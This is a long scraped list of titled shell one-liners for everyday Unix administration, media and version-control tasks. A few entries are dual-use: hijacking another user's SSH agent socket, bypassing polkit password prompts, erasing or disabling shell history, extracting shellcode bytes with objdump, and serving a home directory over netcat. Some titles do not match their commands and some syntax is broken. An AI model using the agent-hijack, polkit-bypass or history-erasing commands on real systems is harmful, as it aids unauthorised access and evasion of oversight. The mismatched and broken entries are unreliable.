du and sort to find the biggest directories in defined filesystem
for i in G M K; do du -hx /var/ | grep [0-9]$i | sort -nr -k 1; done | less
Sort netflow packet capture
grep -o -P '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\:[0-9]{1,5}\s->\s{5}[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\:[0-9]{1,5}' <capture file> | tr -d ' ' | sed 's/:.....//g' | sort -n | uniq -c | sort -nr
reverse-i-search: Search through your command line history
HTML5 ogg player
Split and join with split and cat.
split -b 1k file ; cat x* > file
Recursively Add Changed Files to Subversion
svn status | grep "^\?" | awk '{print $2}' | xargs svn add
online MAC address lookup
curl -s http://www.macvendorlookup.com/getoui.php?mac=$1 | sed -e 's/<[^>]\+>//g'; echo
Automatically find and re-attach to a detached screen session
screen -RR
download specific files only from a website
wget -r -P ./dl/ -A jpg,jpeg http://captivates.com
Convert JSON to YAML (unicode safe)
python -c 'import sys, yaml, json; yaml.safe_dump(json.load(sys.stdin), sys.stdout, allow_unicode=True)' < foo.json > foo.yaml
Image to color palette generator
extract-palette() { convert "$1" -resize 300x -dither None -colors "$2" txt: | tail -n +2 | tr -s ' ' | cut -d ' ' -f 3 | sort | uniq -c | sort -rn | tr -s ' ' | cut -d ' ' -f 3;}
check the fucking weather
ZIP=48104; curl http://thefuckingweather.com/?zipcode=$ZIP 2>/dev/null|grep -A1 'div class="large"'|tr '\n' ' '|sed 's/^.*"large" >\(..\)/\1/;s/&d.* <br \/>/ - /;s/<br \/>//;s/<\/div.*$//'
find co-ordinates of a location
findlocation() { place=`echo $* | sed 's/ /%20/g'` ; curl -s "http://maps.google.com/maps/geo?output=json&oe=utf-8&q=$place" | grep -e "address" -e "coordinates" | sed -e 's/^ *//' -e 's/"//g' -e 's/address/Full Address/';}
SVN script for automatically adding and deleting files
svn status | grep '^?' | sed -e 's/^? */svn add "/g' -e 's/$/"/g'|sh ; svn status | grep '^!' | sed -e 's/^! */svn delete "/g' -e 's/$/"/g'|sh
Copy a file to a new directory created on the fly
cp -r path/to/file/tree $(mkdir -p new/path/here; echo new/path/here)
Print names of all video files encoded with h264
find -type f -exec bash -c 'if ffmpeg -i "{}" 2>&1 | grep -qi h264 ; then echo "{}"; fi' \;
Open in TextMate Sidebar files (recursively) with names matching REGEX_A and not matching REGEX_B
mate - `find * -type f -regex 'REGEX_A' | grep -v -E 'REGEX_B'`
Show recent earthquakes in Bay Area
lynx --width=200 --dump 'http://quake.usgs.gov/recenteqs/Maps/San_Francisco_eqs.htm'|sed -ne '/MAG.*/,/^References/{;s/\[[0-9][0-9]*\]//;1,/h:m:s/d;/Back to map/,$d;/^$/d;/^[ \t][ \t]*[3-9]\.[0-9][0-9]*[ \t][ \t]*/p; }'|sort -k1nr
Show DeviceMapper names for LVM Volumes (to disambiguate iostat logs, etc)
sudo lvdisplay |awk '/LV Name/{blockdev=$3} /Block device/{bdid=$3; sub("[0-9]*:","dm-",bdid); print bdid,blockdev;}'
Fetch all GPG keys that are currently missing in your keyring
gpg --list-sigs | sed -rn '/User ID not found/s/^sig.+([a-FA-F0-9]{8}).*/\1/p' | xargs -i_ gpg --keyserver-options no-auto-key-retrieve --recv-keys _
put current directory in LAN quickly
python3 -m http.server
[git] Output remote origin from within a local repository
git config --local --get remote.origin.url
How to extract 5000 records from each table in MySQL
mysqldump --opt --where="true LIMIT 5000" dbinproduzione > miodbditest.sql
rsync…
rsync -avz -e ssh user@host:/srcpath destpath
flush memcached via netcat
echo 'flush_all' | nc localhost 11211 -i1 <<< 'quit'
mysqlcheck –defaults-file=/etc/mysql/debian.cnf –auto-repair –all-databases
fix db
Get a qrcode for a given string
echo "http://commandlinefu.com" | curl -F-=\<- qrenco.de
Show device drivers and their properties (Windows XP)
driverquery /si /fo table
Find and copy scattered mp3 files into one directory
find . -name '*.mp3' -type f -exec sh -c 'exec cp -f "$@" /home/user/dir' find-copy {} +
Wait the end of prog1 and launch prog2
pkill -0 prog1; while [ $? -eq 0 ]; do sleep 10; pkill -0 prog1; done; prog2
Add an iptables rule on RH/CentOs before the reject
REJECT_RULE_NO=$(iptables -L RH-Firewall-1-INPUT --line-numbers | grep 'REJECT' | awk '{print $1}');/sbin/iptables -I RH-Firewall-1-INPUT $REJECT_RULE_NO -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT -m comment --comment "Permit HTTP Service"
Include a remote file (in vim)
:r scp://yourhost//your/file
Print the IPv4 address of a given interface
ip addr show enp3s0 | awk '/inet[^6]/{print $2}' | awk -F'/' '{print $1}'
create ICO file with more than one image
convert -background transparent input.png -define icon:auto-resize=16,32,48,64,128 favicon.ico
Poor man's ntpdate
date -s "`curl -sI www.example.com | sed -n 's/^Date: //p'`"
increase recursively the modification time for a list of files
find . -type f | while read line; do NEW_TS=`date -d@$((\`stat -c '%Y' $line\` + <seconds> )) '+%Y%m%d%H%M.%S'`; touch -t $NEW_TS ${line}; done
Copy structure
cd $srcdir && find -type d -exec mkdir -p $dstdir/{} \;
Fast search in man files or bz-files by keyword direct by man or bz files
bzgrep -lE "COMMIT_EDITMSG" /usr/share/man/man?/git*
Get ElasticSearch configuration and version details
curl -XGET 'localhost:9200'
Find out the active XOrg Server DISPLAY number (from outside)
for p in $(pgrep -t $(cat /sys/class/tty/tty0/active)); do d=$(awk -v RS='\0' -F= '$1=="DISPLAY" {print $2}' /proc/$p/environ 2>/dev/null); [[ -n $d ]] && break; done; echo $d
Create an eicar.com test virus
echo 'K5B!C%@NC[4\CMK54(C^)7PP)7}$RVPNE-FGNAQNEQ-NAGVIVEHF-GRFG-SVYR!$U+U*' | tr '[A-Za-z]' '[N-ZA-Mn-za-m]' > /tmp/eicar.com
Batch rename extension of all files in a folder, in the example from .txt to .md
rename 's/\.txt$/\.md$/i' *
Uptime in minute
bc <<< `uptime | sed -e 's/^.*up //' -e 's/[^0-9:].*//' | sed 's/:/*60+/g'`
Symlink all files from a base directory to a target directory
ln -s /base/* /target && ls -l /target
Grep inside Vim and navigate results
:vimgrep pattern %
Like top but for files
watch -d -n 2 'df; ls -FlAt;'
Kill any lingering ssh processes
ps aux | grep ssh | grep -v grep | grep -v sshd | awk {'print $2'} | xargs -r kill -9
print lib path of perl
perl -e 'print map { $_ . "\n" } @INC;'
Delete all but the latest 5 files, ignoring directories
ls -lt|grep ^-|awk 'NR>5 { print $8 }'|xargs -r rm
VIM: Go back to the last place you were in a document
''
What is my ip?
telnet v4address.com
Convert CSV to JSON - Python3 and Bash function
csv2json() { for file in $@; do python -c "import csv,json,fileinput; print(json.dumps(list(csv.reader(fileinput.input()))))" "$file" 1> "${file%%csv}json"; done; }
check web server port 80 response header
curl -I <IPaddress>
Find non-ASCII and UTF-8 files in the current directory
find . -type f -regex '.*\.\(cpp\|h\)' -exec file {} \; | grep "UTF-8\|extended-ASCII"
It decripts all pgp files in a selection folder and move the output into a file.
for x in *.pgp do `cat /file_with_the_passphrase.dat|(gpg --batch --no-tty --yes --passphrase-fd=0 --decrypt `basename $x`; ) > 'dump_content.dat'` done;
A function to find the newest file in a directory
newest () { DIR=${1:-'.'}; CANDIDATE=`find $DIR -type f|head -n1`; while [[ ! -z $CANDIDATE ]]; do BEST=$CANDIDATE; CANDIDATE=`find $DIR -newer "$BEST" -type f|head -n1`; done; echo "$BEST"; }
change user & preserver environment (.bashrc&co)
su - -m -p git
Clone or rescue a block device
ddrescue -v /dev/sda /dev/sdb logfile.log
Read a tcpdump file and count SYN packets to port 80, Order column by destination.
tcpdump -ntr NAME_OF_CAPTURED_FILE.pcap 'tcp[13] = 0x02 and dst port 80' | awk '{print $4}' | tr . ' ' | awk '{print $1"."$2"."$3"."$4}' | sort | uniq -c | awk ' {print $2 "\t" $1 }'
Fetch the requested virtual domains and their hits from log file
cat /etc/httpd/logs/access.log | awk '{ print $6}' | sed -e 's/\[//' | awk -F'/' '{print $1}' | sort | uniq -c
Close specify detached screen
screen -X -S [sessionname] quit
Switch all connected PulseAudio bluetooth devices to A2DP profile
for card in $(pacmd list-cards | grep 'name: ' | sed 's/.*<\(.*\)>.*/\1/'); do pacmd set-card-profile $card a2dp_sink; done
HDD Performance Write Test
dd if=/dev/zero of=10gb bs=1M count=10240
Install the Debian-packaged version of a Perl module
function dpan () { PKG=`perl -e '$_=lc($ARGV[0]); s/::/-/g; print "lib$_-perl\n"' $1`; apt-get install $PKG; }
convert a .wmv to a .avi
mencoder "/path/to/file.wmv" -ofps 23.976 -ovc lavc -oac copy -o "/path/to/file.avi"
Configuring proxy client on terminal without leaving password on screen or in bash_history
set-proxy () { P=webproxy:1234; DU="fred"; read -p "username[$DU]:" USER; printf "%b"; UN=${USER:-$DU}; read -s -p "password:" PASS; printf "%b" "\n"; export http_proxy="http://${UN}:${PASS}@$P/"; export ftp_proxy="http://${UN}:${PASS}@$P/"; }
view http traffic
tcpdump -i eth0 port 80 -w -
Add all files
svn add `svn status | grep ? | cut -c9-80`
Partition a sequence of disk drives for LVM with fdisk
for x in {a..d}; do echo -e "n\np\n\n\n\nt\n8e\nw\n" | fdisk /dev/sd"$x"; done
Reclaim standard in from the tty for a script that is in a pipeline
exec 0</dev/tty
use jq to validate and pretty-print json output
cat file.json | jq
convert mp3 into mb4 (audiobook format)
mpg123 -s input.mp3 | faac -b 80 -P -X -w -o output.m4b -
Router discovery
traceroute 2>/dev/null -n google.com | awk '/^ *1/{print $2;exit}'
A command to post a message and an auto-shortened link to Twitter. The link shortening service is provide by TinyURL.
curl --user "USERNAME:PASSWORD" -d status="MESSAGE_GOES_HERE $(curl -s http://tinyurl.com/api-create.php?url=URL_GOES_HERE)" -d source="cURL" http://twitter.com/statuses/update.json -o /dev/null
Remove all unused kernels with apt-get
perl -e 'chomp($k=`uname -r`); for (</boot/vm*>) {s/^.*vmlinuz-($k)?//; $l.="linux-image-$_ ";} system "aptitude remove $l";'
Enable color pattern match highlighting in grep(1)
export GREP_OPTIONS='--color=auto'
Opens files containing search term in vim with search term highlighted
ack-open () { local x="$(ack -l $* | xargs)"; if [[ -n $x ]]; then eval vim -c "/$*[-1] $x"; else echo "No files found"; fi }
Time conversion/format using the date command
date -d '2011-12-15 05:47:09' +"epoch: %s or format: %Y/%m/%d"
save stderr only to a file
command 3>&1 1>&2 2>&3 | tee file
Find how far nested you are in subshells
echo "I am $BASH_SUBSHELL levels nested";
Periodic Log Deletion
find /path/to/dir -type f -mtime +[#] -exec rm -f {} \;
exim statistics about mails from queue
exim -bp | exiqsumm -c
Search gpg keys from commandline
gpg --search-keys
Makefile argument passing
make [target] VAR=foobar
Realy remove file from your drive
function rrm(){ for i in $*; do; if [ -f $i ]; then; echo "rrm - Processing $i"; shred --force --remove --zero --verbose $i; else; echo "Can't process $i"; type=$(stat "$1" -c %F); echo "File $i is $type"; fi; done;}
Convert ascii string to hex
echo -n 'text' | perl -pe 's/(.)/sprintf("\\x%x", ord($1))/eg'
Generate list of words and their frequencies in a text file.
tr A-Z a-z | tr -d "[[:punct:]][[:digit:]]" | tr ' /_' '\n' | sort | uniq -c
auto complete arguments
ls --[TAB][TAB]
How to trim a video using ffmpeg
ffmpeg -i video.avi -vcodec copy -acodec copy -ss 00:00:00 -t 00:00:04 trimmed_video.avi
list with full path
ls -d $PWD/*
locating packages held back, such as with "aptitude hold
aptitude search ~ahold
mean color of an image
convert image.jpg -resize 1x1 txt: | tail -1 | awk '{gsub(/[,\)]/," "); print $3+$4+$5}'
Immediately put execute permission on any file saved/created in $HOME/bin
inotifywait -mr -e CREATE $HOME/bin/ | while read i; do chmod +x "$(echo "$i" | sed 's/ \S* //')"; done
Nice beep
xset b 50 1700 10
Exiftool adjust Date & Time of pictures
"exiftool(-k).exe" "-DateTimeOriginal-=0:0:0 0:25:0" .
Webcam view with vlc
cvlc v4l2:// &
Find and copy scattered mp3 files into one directory
find . -type f -iname '*.mp3' -exec cp {} ~/mp3/ \;
Mirror every lvol in vg00 in hp-ux 11.31
find /dev/vg00 -type b |while read L; do lvextend -m 1 $L /dev/disk/<disk> ; done
Redirect bash built-in output to stdout
TIME=$( { time YOUR_COMMAND_HERE; } 2>&1 ) ; echo $TIME
Play all files in the directory using MPlayer
mplayer -playlist <(find "$PWD" -type f)
Generate an XKCD #936 style 4 word passphrase (fast)
echo $(shuf -n4 /usr/share/dict/words)
Indicates the position of my monitor buttons
echo "|MENU| |DOWN| |UP/BRIGHT| |ENTER| |AUTO| |OFF|"|osd_cat -p bottom -o -40 -i 1575
A trash function for bash
trash-put junkfolder
Rip a video for archiving, from any site
youtube-dl -tci --write-info-json "https://www.youtube.com/watch?v=dQw4w9WgXcQ"
Aptitude pattern match
aptitude --purge remove ~i^foo ~i^bar
list txt files order by time
ls -lt --time=atime *.txt
Screenshot Directly To Clipboard
scrot -s -q 100 foo.png ; xclip -selection c -t image/png < foo.png
Search specified \(TEXT1 and Replace that by specified arg (\)TEXT2)
find "$DIR" -regex "$FILENAME" -type f -print0 | xargs -0 sed -i _`date "+%y%m%d%H%M%S"` -E "s/$TEXT1/$TEXT2/g"
Go to directory or creat it and go to
[[ -d dir ]] || mkdir dir ; cd dir
remove the last of all html files in a directory
for f in *.html; do sed '$d' -i "$f"; done
Record active input of soundcard to file.wav
rec -c 2 -r 44100 -s -t wav file.wav
find both total size and number of files below any given svn directory
svn list -vR svn://server/repo/somedir | awk '{if ($3 !="") sum+=$3; i++} END {print "\ntotal size= " sum/1024000" MB" "\nnumber of files= " i/1000 " K"}'
Output entire line once per unique value of the first column
awk '!array[$1]++' file.txt
Download all images on a 4chan thread
read -p "Please enter the 4chan url: "|egrep '//i.4cdn.org/[a-z0-9]+/src/([0-9]*).(jpg|png|gif)' - -o|nl -s https:|cut -c7-|uniq|wget -nc -i - --random-wait
Pulse Volume Control Using Zenity
amixer -D pulse sset Master $(zenity --scale --text="Select a number" --value=$(amixer -D pulse sget Master | grep -Eo '..[0-9]'% | tr -d '%[, ' | tail -n 1) --min-value="0" --max-value="100" --step="1")%
get all Amazon cloud (amazonws etc) ipv4 subnets
curl -s https://ip-ranges.amazonaws.com/ip-ranges.json | awk -F'"' '/ip_prefix/ {print $4}'
See how many more processes are allowed, awesome!
echo $(( `ulimit -u` - `find /proc -maxdepth 1 \( -user $USER -o -group $GROUPNAME \) -type d|wc -l` ))
ubuntu tasksel
tasksel list-tasks
List files older than one year, exluding those in the .snapshot directory
find /path/to/directory -not \( -name .snapshot -prune \) -type f -mtime +365
Skype conversation logs to IRC-format logs
cat skype_log | sed -s 's/\(\[.*\]\) \(.*\): \(.*\)/<\2> \3/'
Map the slot of an I/O card to its PCI bus address
dmidecode --type 9 |egrep 'Bus Address|Designation'
Pretty-print user/group info for a given user
id <username> | sed s/' '/'\n'/g | sed s/,/',\n '/g | sed s/'('/' ('/g | sed s/uid/' uid'/g | sed s/gid/' gid'/g | sed s/=/' = '/g
get all Amazon cloud (amazonws etc) ipv6 subnets
curl -s https://ip-ranges.amazonaws.com/ip-ranges.json | awk -F'"' '/ipv6_prefix/ {print $4}'
Efficient count files in directory (no recursion)
perl -e 'if(opendir D,"."){@a=readdir D;print $#a-1,"\n"}'
Readd all files is missing from svn repo
svn status | grep "^\?" | awk '{print $2}' | xargs svn add
check spell in c source code
grep -o -h -rE '".*"' * | ispell -l -p ~/mydict | sort -u
Sum file sizes
expr `find . -type f -printf "%s + "0`
recursive base64 encoding – Cipher for the Poor ?
str=password; for i in `seq 1 10`; do echo -e "$str\n"; str="$(base64 <<< $str)"; done
Get memory total from /proc/meminfo in Gigs
awk '( $1 == "MemTotal:" ) { print $2/1048576 }' /proc/meminfo
Recursively list all of the files in a directory, group them by extension and calculate the average of the file sizes in each group
ls -r | ?{-not $_.psiscontainer} | group extension | select name, count, @{n='average'; e={($_.group | measure -a length).average}} | ft -a @{n='Extension'; e={$_.name}}, count, @{n='Average Size (KB)'; e={$_.average/1kb}; f='{0:N2}'}
Backup a directory structure
BEGIN=`date`; rsync -avxW /home/ /backups/home ; echo "Begin time: $BEGIN" ; echo "End time..: `date`"
send raw data (hex written)using UDP to an IP and port
echo -n 023135 | perl -pe 's/([0-9a-f]{2})/chr hex $1/gie' | nc -4u -q1 -p5001 192.168.0.100 2000
encrypt whole line with ROT13 in vim
g?g?
Execute a command on multiple hosts in parallel
for host in host1 host2 host3; do ssh -n user@$host <command> > $host.log & done; wait
Gets the X11 Screen resolution
RES=`xrandr | grep '*' | sed 's/\s*\([0-9x]*\).*/\1/'`; echo $RES
Archive all files that have not been modified in the last days
find /protocollo/paflow -type f -mtime +5 | xargs tar -cvf /var/dump-protocollo/`date '+%d%m%Y'_archive.tar`
Get all shellcode on binary file from objdump
objdump -d $1 | grep -Po '\s\K[a-f0-9]{2}(?=\s)' | sed 's/^/\\x/g' | perl -pe 's/\r?\n//' | sed 's/$/\n/'
Replace the content of an XML element
xmlstarlet ed -u '//food[calories="650"]/calories' -v "999" simple.xml
FizzBuzz in one line of Bash
for i in {1..100};do((i%3))&&x=||x=Fizz;((i%5))||x+=Buzz;echo ${x:-$i};done|column
Big (four-byte) $RANDOM
printf %d 0x`dd if=/dev/urandom bs=1 count=4 2>/dev/null | od -x | awk 'NR==1 {print $2$3}'`
Disable graphical login on Solaris
/usr/dt/bin/dtconfig -d
Analyze awk fields
tr " " "\n" | nl
Get full URL via http://untr.im/api/ajax/api
URL=[target.URL]; curl -q -d "url=$URL" http://untr.im/api/ajax/api | awk -F 'href="' '{print $3}' | awk -F '" rel="' '{print $1}'
list with full path
ls -d1 $PWD/{.*,*}
Perl One Liner to Generate a Random IP Address
perl -e 'printf "00:16:3E:%02X:%02X:%02X\n", rand 0xFF, rand 0xFF, rand 0xFF'
Minimize active window
xdotool windowminimize $(xdotool getactivewindow)
IBM AIX: Extract a .tar.gz archive in one shot
gzip -cd gzippedarchive.tar.gz | tar -xf -
convert a mp4 video file to mp3 audio file (multiple files)
for f in *.mp4; do avconv -i "$f" -b 256k "${f%.mp4}.mp3"; done
get all Google ipv4 subnets for a iptables firewall for example
nslookup -q=TXT _netblocks.google.com | grep -Eo 'ip4:([0-9\.\/]+)' | cut -d: -f2
Extract content between the first " and the last " double quotes
s='Test "checkin_resumestorevisit \"- "Online_V2.mt" Run'; s=${s#*'"'}; s=${s%'"'*}; echo "$s"
Instant mirror from your laptop + webcam (fullscreen+grab)
mplayer -fs -vf screenshot,mirror tv://
Change pidgin status
dbus-send --print-reply --dest=im.pidgin.purple.PurpleService /im/pidgin/purple/PurpleObject im.pidgin.purple.PurpleInterface.PurpleSavedstatusActivate int32:<WANTED STATE>
Check whether laptop is running on battery or cable
pmset -g batt !!! Example "os x version
Recursive grep of all c++ source under the current directory
find . -name '*.?pp' -exec grep -H "string" {} \;
To find which host made maximum number of specific tcp connections
netstat -n | grep '^tcp.*<IP>:<PORT>' | tr " " | awk 'BEGIN{FS="( |:)"}{print $6}' | sort | uniq -c | sort -n -k1 | awk '{if ($1 >= 10){print $2}}'
Check hashes of files installed by Debian packages, reporting only errors.
debsums -s
recursively walk down no more than three levels and grab any file with an extension of mp3, mpg, mpeg, or avi
wget -A mp3,mpg,mpeg,avi -r -l 3 http://www.site.com/
Search Google
Q="Hello world"; GOOG_URL="http://www.google.com/search?q="; AGENT="Mozilla/4.0"; stream=$(curl -A "$AGENT" -skLm 10 "${GOOG_URL}\"${Q/\ /+}\"" | grep -oP '\/url\?q=.+?&' | sed 's/\/url?q=//;s/&//'); echo -e "${stream//\%/\x}"
cpu process limitation for specific processname like java,kibana
ps auxf | grep -v grep | grep -E -i "java|kibana" | awk {'print $2'} | while read pid; do cpulimit -l 25 -b -p $pid > /tmp/cpulimit_$pid ;done
Use -t when using find and cp
find . -name "*.pdf" -print0 | xargs -0 cp -t downloads/
Open a Remote Desktop (RDP) session with a custom resolution.
mstsc /w:1500 /h:900 /v:www.example.com
Multiline Search/Replace with Perl
perl -i -pe 'BEGIN{undef $/;} s/START.*?STOP/replace_string/smg' file_to_change
Blink Caps Lock on HDD activity
dstat -d --nocolor --noheaders|xargs --max-args=2|while read status; do if [ "$status" == "0 0" ]; then setleds -L -caps < /dev/console; else setleds -L +caps < /dev/console; fi; done
Get the Last tweet (Better than Twitter feed rrs)
lynx --dump twitter.com/(username) | sed -n "132,134 p"
Basic sed usage with xargs to refactor a node.js depdendency
cat matching_files.txt | xargs sed -i '' "s/require('global-module')/require('..\/some-folder\/relative-module')/"
Copy files based on extension with recursive and keeping directory structure
rsync -rv --include '*/' --include '*.jar' --exclude '*' srcDir desDir
Check if x86 Solaris based system is 32bit or 64bit
isainfo -v
Run iMacros from terminal
firefox imacros://run/?m=macros.iim &
open remote desktop connection without X
xvfb-run --server-num=1 rdesktop -u name -p pass -g 1024x768 192.168.0.1
truncate deleted files from lsof
lsof|gawk '$4~/txt/{next};/REG.*\(deleted\)$/{printf ">/proc/%s/fd/%d\n", $2,$4}'
Find 10 largest files in git history
git verify-pack -v .git/objects/pack/pack-*.idx | grep blob | sort -k3nr | head | while read s x b x; do git rev-list --all --objects | grep $s | awk '{print "'"$b"'",$0;}'; done
Finding the fingerprint of a given certificate
openssl x509 -in cert.pem -fingerprint -noout
Ride another SSH agent
export SSH_AUTH_SOCK=`find /tmp/ssh* -type s -user [user] -mtime -1 | head -1`
shorten url using curl, sed and is.gd
curl -s -d URL="$1" http://is.gd/create.php | sed '/Your new shortened/!d;s/.*value="\([^"]*\)".*/\1/'
random xkcd comic as xml
curl -sL 'dynamic.xkcd.com/comic/random/' | awk -F\" '/^<img/{printf("<?xml version=\"1.0\"?>\n<xkcd>\n<item>\n <title>%s</title>\n <comment>%s</comment>\n <image>%s</image>\n</item>\n</xkcd>\n", $6, $4, $2)}'
Display error pages in report format
sudo awk '($9 ~ /404/)' /var/log/httpd/www.domain-access_log | awk '{print $2,$9,$7,$11}' | sort | uniq -c
Get size of terminal
alias termsize='echo $COLUMNS x $LINES'
Find out my Linux distribution name and version
cat /etc/*-release
Download all data from Google Ngram Viewer
wget -qO - http://ngrams.googlelabs.com/datasets | grep -E href='(.+\.zip)' | sed -r "s/.*href='(.+\.zip)'.*/\1/" | uniq | while read line; do `wget $line`; done
Kill all processes belonging to a user
ps -fu $USER | awk {'print $2'} | xargs kill [-9]
Display a markdown file in a new tab in firefox
markdown doc.md >/tmp/md.$$.html && firefox -new-tab /tmp/md.$$.html >/dev/null 2>&1 && rm -f /tmp/md.$$.html
monitor my process group tree
watch "ps --forest -o pid=PID,tty=TTY,stat=STAT,time=TIME,pcpu=CPU,cmd=CMD -g $(ps -o sid= -p $(pgrep -f "<my_process_name>"))"
Delete All Objects From An S3 Bucket Using S3cmd
s3cmd ls s3://bucket.example.com | s3cmd del `awk '{print $4}'`
Step#2 Create a copy of the bootload and partition table!
dd if=/dev/sda of=/home/sam/MBR.image bs=512 count=1
list all file extensions in a directory
ls | grep -Eo "\..+" | sort -u
convert ascii string to hex
xxd -p <<< <STRING>
archive all files containing local changes (svn)
svn st -q | cut -c 2- | tr -d ' ' | xargs tar -czvf ../backup.tgz
Arguments too long
find . -name "*.txt" -exec WHATEVER_COMMAND {} \;
Disco lights in the terminal
c=`tput colors`;while :;do printf "\e[0;1;38;5;$((`od -d -N 2 -A n /dev/urandom`%$c))m\u2022";done
Find last 50 modified files
find / -path /proc -prune -o -type f -printf '%TY-%Tm-%Td %TT %p\n' | sort -r | head -50
share internet connection with only one network interface
ifconfig eth0:1 192.168.0.1/24
Generic shell function for modifying files in-place
inplace() { eval F=\"\$$#\"; "$@" > "$F".new && mv -f "$F".new "$F"; }
Count TCP States From Netstat
netstat -an | awk '/tcp/ {print $6}' | sort | uniq -c
Convert mkv to SVCD/DivX
ffmpeg -i movie.mkv -target vcd movie.avi
convert several jpg into one pdf file
convert *.jpg File_Output.pdf
Play Mediafile in multipart RAR archive on the fly with buffer to seek back and forth
unrar p -inul *.rar|mplayer -cache 100000 -
tar a directory and send it to netcat
tar cfvz - /home/user | netcat -l -p 10000
archlinux: check which repository packages have updates available
pacman -Qu
Find out how old a web page is
curl -Is http://osswin.sourceforge.net/ | grep Mod
Load your [git-controlled] working files into the vi arglist.
vim $(git diff origin/master --name-only)
Number of connections to domains on a cPanel server
/usr/bin/lynx -dump -width 500 http://127.0.0.1/whm-server-status | awk 'BEGIN { FS = " " } ; { print $12 }' | sed '/^$/d' | sort | uniq -c | sort -n
Get MX records for a domain
host -t mx foo.org
Get your public ip
curl -s http://sputnick-area.net/ip
colorize comm output
comm file1 file2 | sed -e 's/^[^\t].*/\x1b[33m&\x1b[0m/' -e 's/^\t[^\t].*/\x1b[36m&\x1b[0m/' -e 's/^\t\t[^\t].*/\x1b[32m&\x1b[0m/'
rename files according to date created
for i in *.jpg; do dst=$(exif -t 0x9003 -m $i ) && dst_esc=$(echo $dst | sed 's/ /-/g' ) && echo mv $i $dst_esc.jpg ; done
Lint Git unstaged PHP files
git status -s | grep -o ' \S*php$' | while read f; do php -l $f; done
bash or tcsh redirect both to stdout and to a file
echo "Hello World." | tee -a hello.txt
list all opened ports on host
time { i=0; while [ $(( i < 65535 )) -eq 1 ] ; do nc -zw2 localhost $((++i)) && echo port $i opened ; done; }
subtraction between lines
seq 1 3 20 | sed -n '1{h;d};H;x;s/\n/\t/p' | awk '{printf("%d - %d = %d\n", $2, $1, $2-$1)}'
List the Sizes of Folders and Directories
du -h --max-depth=1 /path/folder/
Clean apt-get and gpg cache and keys
sudo gpg --refresh-keys; sudo apt-key update; sudo rm -rf /var/lib/apt/{lists,lists.old}; sudo mkdir -p /var/lib/apt/lists/partial; sudo apt-get clean all; sudo apt-get update
Get the serial numbers from HP RAID
hpacucli controller all show config detail | grep -A 7 Fail | egrep '(Failed|Last|Serial Number|physicaldrive)'
NSA codename generator
shuf -n 2 /usr/share/dict/words | tr -dc [:alnum:] | tr '[:lower:]' '[:upper:]'; echo
Turns hidden applications transparent in the Mac OS X dock.
defaults write com.apple.Dock showhidden -bool YES
MoscowML with editable input-line and history
rlwrap mosml
Get first Git commit hash
git log --pretty=format:%H | tail -1
List upgrade-able packages on Ubuntu
apt-get --ignore-hold --allow-unauthenticated -s dist-upgrade | grep ^Inst | cut -d ' ' -f2
Insert a line at the top of a text file without sed or awk or bash loops
tac myfile.txt > /tmp/temp; echo "my line" >> /tmp/temp; tac /tmp/temp > myfile.txt
List only locally modified files with CVS
cvs -Q status | grep -i locally
find files containing text
grep -lir "sometext" * > sometext_found_in.log
converting vertical line to horizontal line
tr '\n' '\t' < inputfile
send incoming audio to a Icecast server (giss.tv)
rec -c 2 -r 44100 -s -t wav - | oggenc - | tee streamdump.ogg | oggfwd giss.tv 8000 password /mountpoint.ogg
Count the number of man pages per first character (a-z)
for i in {a..z} ; do man -k $i |grep -i "^$i" |wc | awk 'BEGIN { OFS = ":"; ORS = "" }{print $1, "\t"}' && echo $i ;done
Get a Bulleted List of SVN Commits By a User for a Specifc Day (Daily Work Log)
svn log -r '{YYYY-MM-DD}:{YYYY-MM-DD}' | sed -n '1p; 2,/^-/d; /USERNAME/,/^-/p' | grep -E -v '^(r[0-9]|---|$)' | sed 's/^/* /g'
Center text in console with simple pipe like
center(){ l="$(cat -)"; s=$(echo -e "$l"| wc -L); echo "$l" | while read l;do j=$(((s-${#l})/2));echo "$(while ((--j>0)); do printf " ";done;)$l";done;}; ls --color=none / | center
archlinux: shows list of packages that are no longer needed
pacman -Qdt
Don't save commands in bash history (only for current session)
ssh user@hostname.domain "> ~/.bash_history"
attach to bash shell in the last container you started
dockexecl() { docker exec -i -t $(docker ps -l -q) bash ;}
Backup your LDAP
slapcat -n 1 > /backup/`date "+%Y%m%d"`.ldif
Quick find function
quickfind () { find . -maxdepth 2 -iname "*$1*" }
Right-align text in console using pipe like ( command | right )
$ right(){ l="$(cat -)"; s=$(echo -e "$l"| wc -L); echo "$l" | while read l;do j=$(((s-${#l})));echo "$(while ((j-->0)); do printf " ";done;)$l";done;}; ls --color=none / | right
Create a tar archive using xz compression
tar -cJf myarchive.tar.xz /path/to/archive/
Find the date of the first commit in a git repository
git rev-list --all|tail -n1|xargs git show|grep -v diff|head -n1|cut -f1-3 -d' '
Print unique ipaddresses as they come in from Apache Access Log File
tail -f /var/log/apache2/access.log | awk -W interactive '!x[$1]++ {print $1}'
Replace spaces in a file with hyphens
sed -i 's/ /-/g' *
find files beginning with filename* that do not include "string"
grep -L "string" filename*
Changes a User Password via command line without promt
echo -e "new_password\nnew_password" | (passwd --stdin $USER)
scan multiple log subdirectories for the latest log files and tail them
ls /var/log/* -ld | tr -s " " | cut -d" " -f9 | xargs -i{} sh -c 'echo "\n---{}---\n"; tail -n50 {}/`ls -tr {} | tail -n1`'
Linux clear restrictions of a user's password
chage -E -1 -m 0 -M -1 -W -1 user01
A signal trap that logs when your script was killed and what other processes were running at that time
trap "echo \"$0 process $$ killed on $(date).\" | tee ${0##*/}_$$_termination.log; echo 'Active processes at the time were logged to ${0##*/}_$$_termination.log'; ps u >> ${0##*/}_$$_termination.log; exit " HUP INT QUIT ABRT TERM STOP
Get all IPs via ifconfig
ifconfig | awk -F':| +' '/ddr:/{print $4}'
Searches $PATH for files using grep
IFS=:; find $PATH | grep pattern
Change wallpaper
feh --bg-scale /path/to/wallpaper.jpg
list files recursively by size
stat -c'%s %n' **/* | sort -n
Customer Friendly free
free -ht --si
dont log current session to history
unset HISTFILE
HOME USE ONLY: Get rid of annoying Polkit password prompts
sudo find /usr/share/polkit-1 -iname “*.policy” -exec sed -i “s/\(auth_admin\|auth_admin_keep\)/yes/g” {} \;
Edit the /etc/sudoers config file the right way.
visudo
Get max number of arguments
getconf ARG_MAX
to see about php configure
$php_dir/bin/php -i | grep configure
Change the console keyboard layout
loadkeys uk
Uptime in minute
